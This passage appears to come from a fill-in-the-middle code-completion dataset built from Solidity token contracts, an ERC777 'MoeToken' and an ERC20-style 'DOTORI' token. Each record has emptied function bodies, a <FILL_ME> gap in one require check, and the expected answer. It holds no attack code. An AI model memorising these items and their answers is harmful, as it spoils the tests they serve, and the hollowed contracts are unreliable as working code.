function isOperatorFor(address operator, address tokenHolder) public view virtual override returns (bool) {
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) public virtual override {
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) public virtual override {
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view virtual override returns (address[] memory) {
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {IERC20-Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
public
virtual
override
{
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {IERC20-Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes memory data, bytes memory operatorData) public virtual override {
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {IERC20-Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
virtual
{
}
/**
* @dev Send tokens
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
virtual
{
}
/**
* @dev Burn tokens
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
virtual
{
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
}
/**
* @dev See {ERC20-_approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function _approve(address holder, address spender, uint256 value) internal {
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
}
/**
* @dev Hook that is called before any token transfer. This includes
* calls to {send}, {transfer}, {operatorSend}, minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address operator, address from, address to, uint256 amount) internal virtual { }
}
| totalSupply()==0 | 29,565 | totalSupply()==0 |
"ERC777: caller is not an operator for holder" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC777/IERC777.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/introspection/IERC1820Registry.sol";
/**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/
contract MoeToken is Context, IERC777, IERC20 {
using Address for address;
IERC1820Registry constant internal _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
uint256 private constant NICE = 69000000000000000000000000;
address private immutable _creator;
string private constant _name = "Moe";
string private constant _symbol = "MOE";
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender");
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor() {
}
/**
* To be called once at the very beginning.
* Note that if the *entire* supply were burned then you could call this again to start over.
**/
function bang() public {
}
/**
* @dev See {IERC777-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {ERC20-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure virtual returns (uint8) {
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view virtual override(IERC20, IERC777) returns (uint256) {
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view virtual override(IERC20, IERC777) returns (uint256) {
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes memory data) public virtual override {
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes memory data) public virtual override {
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(address operator, address tokenHolder) public view virtual override returns (bool) {
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) public virtual override {
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) public virtual override {
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view virtual override returns (address[] memory) {
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {IERC20-Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
public
virtual
override
{
require(<FILL_ME>)
_send(sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {IERC20-Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes memory data, bytes memory operatorData) public virtual override {
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {IERC20-Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
virtual
{
}
/**
* @dev Send tokens
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
virtual
{
}
/**
* @dev Burn tokens
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
virtual
{
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
}
/**
* @dev See {ERC20-_approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function _approve(address holder, address spender, uint256 value) internal {
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
}
/**
* @dev Hook that is called before any token transfer. This includes
* calls to {send}, {transfer}, {operatorSend}, minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address operator, address from, address to, uint256 amount) internal virtual { }
}
| isOperatorFor(_msgSender(),sender),"ERC777: caller is not an operator for holder" | 29,565 | isOperatorFor(_msgSender(),sender) |
"ERC777: caller is not an operator for holder" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC777/IERC777.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/introspection/IERC1820Registry.sol";
/**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/
contract MoeToken is Context, IERC777, IERC20 {
using Address for address;
IERC1820Registry constant internal _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
uint256 private constant NICE = 69000000000000000000000000;
address private immutable _creator;
string private constant _name = "Moe";
string private constant _symbol = "MOE";
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender");
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor() {
}
/**
* To be called once at the very beginning.
* Note that if the *entire* supply were burned then you could call this again to start over.
**/
function bang() public {
}
/**
* @dev See {IERC777-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {ERC20-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure virtual returns (uint8) {
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view virtual override(IERC20, IERC777) returns (uint256) {
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view virtual override(IERC20, IERC777) returns (uint256) {
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes memory data) public virtual override {
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes memory data) public virtual override {
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(address operator, address tokenHolder) public view virtual override returns (bool) {
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) public virtual override {
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) public virtual override {
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view virtual override returns (address[] memory) {
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {IERC20-Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
public
virtual
override
{
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {IERC20-Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes memory data, bytes memory operatorData) public virtual override {
require(<FILL_ME>)
_burn(account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {IERC20-Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
virtual
{
}
/**
* @dev Send tokens
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
virtual
{
}
/**
* @dev Burn tokens
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
virtual
{
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
}
/**
* @dev See {ERC20-_approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function _approve(address holder, address spender, uint256 value) internal {
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
}
/**
* @dev Hook that is called before any token transfer. This includes
* calls to {send}, {transfer}, {operatorSend}, minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address operator, address from, address to, uint256 amount) internal virtual { }
}
| isOperatorFor(_msgSender(),account),"ERC777: caller is not an operator for holder" | 29,565 | isOperatorFor(_msgSender(),account) |
null | pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract owned {
address public owner;
function owned() public {
}
modifier onlyOwner {
}
function transferOwnership(address newOwner) public onlyOwner {
}
}
contract BasicToken is owned {
using SafeMath for uint256;
mapping (address => uint256) internal balance_of;
mapping (address => mapping (address => uint256)) internal allowances;
mapping (address => bool) private address_exist;
address[] private address_list;
event Transfer(address indexed from, address indexed to, uint256 value);
function BasicToken() public {
}
function balanceOf(address token_owner) public constant returns (uint balance) {
}
function allowance(
address _hoarder,
address _spender
) public constant returns (uint256) {
}
function approve(address _spender, uint256 _value) public returns (bool) {
}
function getAddressLength() onlyOwner public constant returns (uint) {
}
function getAddressIndex(uint _address_index) onlyOwner public constant returns (address _address) {
}
function getAllAddress() onlyOwner public constant returns (address[]) {
}
function getAddressExist(address _target) public constant returns (bool) {
}
function addAddress(address _target) internal returns(bool) {
}
function transfer(address to, uint256 value) public;
function transferFrom(address _from, address _to, uint256 _amount) public;
}
contract FreezeToken is owned {
mapping (address => uint256) public freezeDateOf;
event Freeze(address indexed _who, uint256 _date);
event Melt(address indexed _who);
function checkFreeze(address _sender) public constant returns (bool) {
}
function freezeTo(address _who, uint256 _date) internal {
}
function meltNow(address _who) internal onlyOwner {
}
}
contract TokenInfo is owned {
using SafeMath for uint256;
address public token_wallet_address;
string public name = "DOTORI";
string public symbol = "DTR";
uint256 public decimals = 18;
uint256 public total_supply = 10000000000 * (10 ** uint256(decimals));
event ChangeTokenName(address indexed who);
event ChangeTokenSymbol(address indexed who);
event ChangeTokenWalletAddress(address indexed from, address indexed to);
event ChangeFreezeTime(uint256 indexed from, uint256 indexed to);
function totalSupply() public constant returns (uint) {
}
function changeTokenName(string newName) onlyOwner public {
}
function changeTokenSymbol(string newSymbol) onlyOwner public {
}
function changeTokenWallet(address newTokenWallet) onlyOwner internal {
}
}
contract Token is owned, FreezeToken, TokenInfo, BasicToken {
using SafeMath for uint256;
event Payable(address indexed who, uint256 eth_amount);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function Token (address _owner_address, address _token_wallet_address) public {
}
function transfer(address to, uint256 value) public {
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) public {
}
function _transfer(
address _from,
address _to,
uint256 _amount
) private {
require(_from != address(0));
require(_to != address(0));
require(<FILL_ME>)
require(balance_of[_to].add(_amount) >= balance_of[_to]);
require(checkFreeze(_from) == false);
uint256 prevBalance = balance_of[_from] + balance_of[_to];
balance_of[_from] -= _amount;
balance_of[_to] += _amount;
assert(balance_of[_from] + balance_of[_to] == prevBalance);
addAddress(_to);
Transfer(_from, _to, _amount);
}
function burn(address _who, uint256 _amount) onlyOwner public returns(bool) {
}
function tokenWalletChange(address newTokenWallet) onlyOwner public returns(bool) {
}
function () payable public {
}
function freezeAddress(
address _who,
uint256 _addTimestamp
) onlyOwner public returns(bool) {
}
function meltAddress(
address _who
) onlyOwner public returns(bool) {
}
}
| balance_of[_from]>=_amount | 29,671 | balance_of[_from]>=_amount |
null | pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract owned {
address public owner;
function owned() public {
}
modifier onlyOwner {
}
function transferOwnership(address newOwner) public onlyOwner {
}
}
contract BasicToken is owned {
using SafeMath for uint256;
mapping (address => uint256) internal balance_of;
mapping (address => mapping (address => uint256)) internal allowances;
mapping (address => bool) private address_exist;
address[] private address_list;
event Transfer(address indexed from, address indexed to, uint256 value);
function BasicToken() public {
}
function balanceOf(address token_owner) public constant returns (uint balance) {
}
function allowance(
address _hoarder,
address _spender
) public constant returns (uint256) {
}
function approve(address _spender, uint256 _value) public returns (bool) {
}
function getAddressLength() onlyOwner public constant returns (uint) {
}
function getAddressIndex(uint _address_index) onlyOwner public constant returns (address _address) {
}
function getAllAddress() onlyOwner public constant returns (address[]) {
}
function getAddressExist(address _target) public constant returns (bool) {
}
function addAddress(address _target) internal returns(bool) {
}
function transfer(address to, uint256 value) public;
function transferFrom(address _from, address _to, uint256 _amount) public;
}
contract FreezeToken is owned {
mapping (address => uint256) public freezeDateOf;
event Freeze(address indexed _who, uint256 _date);
event Melt(address indexed _who);
function checkFreeze(address _sender) public constant returns (bool) {
}
function freezeTo(address _who, uint256 _date) internal {
}
function meltNow(address _who) internal onlyOwner {
}
}
contract TokenInfo is owned {
using SafeMath for uint256;
address public token_wallet_address;
string public name = "DOTORI";
string public symbol = "DTR";
uint256 public decimals = 18;
uint256 public total_supply = 10000000000 * (10 ** uint256(decimals));
event ChangeTokenName(address indexed who);
event ChangeTokenSymbol(address indexed who);
event ChangeTokenWalletAddress(address indexed from, address indexed to);
event ChangeFreezeTime(uint256 indexed from, uint256 indexed to);
function totalSupply() public constant returns (uint) {
}
function changeTokenName(string newName) onlyOwner public {
}
function changeTokenSymbol(string newSymbol) onlyOwner public {
}
function changeTokenWallet(address newTokenWallet) onlyOwner internal {
}
}
contract Token is owned, FreezeToken, TokenInfo, BasicToken {
using SafeMath for uint256;
event Payable(address indexed who, uint256 eth_amount);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function Token (address _owner_address, address _token_wallet_address) public {
}
function transfer(address to, uint256 value) public {
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) public {
}
function _transfer(
address _from,
address _to,
uint256 _amount
) private {
require(_from != address(0));
require(_to != address(0));
require(balance_of[_from] >= _amount);
require(<FILL_ME>)
require(checkFreeze(_from) == false);
uint256 prevBalance = balance_of[_from] + balance_of[_to];
balance_of[_from] -= _amount;
balance_of[_to] += _amount;
assert(balance_of[_from] + balance_of[_to] == prevBalance);
addAddress(_to);
Transfer(_from, _to, _amount);
}
function burn(address _who, uint256 _amount) onlyOwner public returns(bool) {
}
function tokenWalletChange(address newTokenWallet) onlyOwner public returns(bool) {
}
function () payable public {
}
function freezeAddress(
address _who,
uint256 _addTimestamp
) onlyOwner public returns(bool) {
}
function meltAddress(
address _who
) onlyOwner public returns(bool) {
}
}
| balance_of[_to].add(_amount)>=balance_of[_to] | 29,671 | balance_of[_to].add(_amount)>=balance_of[_to] |
null | pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract owned {
address public owner;
function owned() public {
}
modifier onlyOwner {
}
function transferOwnership(address newOwner) public onlyOwner {
}
}
contract BasicToken is owned {
using SafeMath for uint256;
mapping (address => uint256) internal balance_of;
mapping (address => mapping (address => uint256)) internal allowances;
mapping (address => bool) private address_exist;
address[] private address_list;
event Transfer(address indexed from, address indexed to, uint256 value);
function BasicToken() public {
}
function balanceOf(address token_owner) public constant returns (uint balance) {
}
function allowance(
address _hoarder,
address _spender
) public constant returns (uint256) {
}
function approve(address _spender, uint256 _value) public returns (bool) {
}
function getAddressLength() onlyOwner public constant returns (uint) {
}
function getAddressIndex(uint _address_index) onlyOwner public constant returns (address _address) {
}
function getAllAddress() onlyOwner public constant returns (address[]) {
}
function getAddressExist(address _target) public constant returns (bool) {
}
function addAddress(address _target) internal returns(bool) {
}
function transfer(address to, uint256 value) public;
function transferFrom(address _from, address _to, uint256 _amount) public;
}
contract FreezeToken is owned {
mapping (address => uint256) public freezeDateOf;
event Freeze(address indexed _who, uint256 _date);
event Melt(address indexed _who);
function checkFreeze(address _sender) public constant returns (bool) {
}
function freezeTo(address _who, uint256 _date) internal {
}
function meltNow(address _who) internal onlyOwner {
}
}
contract TokenInfo is owned {
using SafeMath for uint256;
address public token_wallet_address;
string public name = "DOTORI";
string public symbol = "DTR";
uint256 public decimals = 18;
uint256 public total_supply = 10000000000 * (10 ** uint256(decimals));
event ChangeTokenName(address indexed who);
event ChangeTokenSymbol(address indexed who);
event ChangeTokenWalletAddress(address indexed from, address indexed to);
event ChangeFreezeTime(uint256 indexed from, uint256 indexed to);
function totalSupply() public constant returns (uint) {
}
function changeTokenName(string newName) onlyOwner public {
}
function changeTokenSymbol(string newSymbol) onlyOwner public {
}
function changeTokenWallet(address newTokenWallet) onlyOwner internal {
}
}
contract Token is owned, FreezeToken, TokenInfo, BasicToken {
using SafeMath for uint256;
event Payable(address indexed who, uint256 eth_amount);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function Token (address _owner_address, address _token_wallet_address) public {
}
function transfer(address to, uint256 value) public {
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) public {
}
function _transfer(
address _from,
address _to,
uint256 _amount
) private {
require(_from != address(0));
require(_to != address(0));
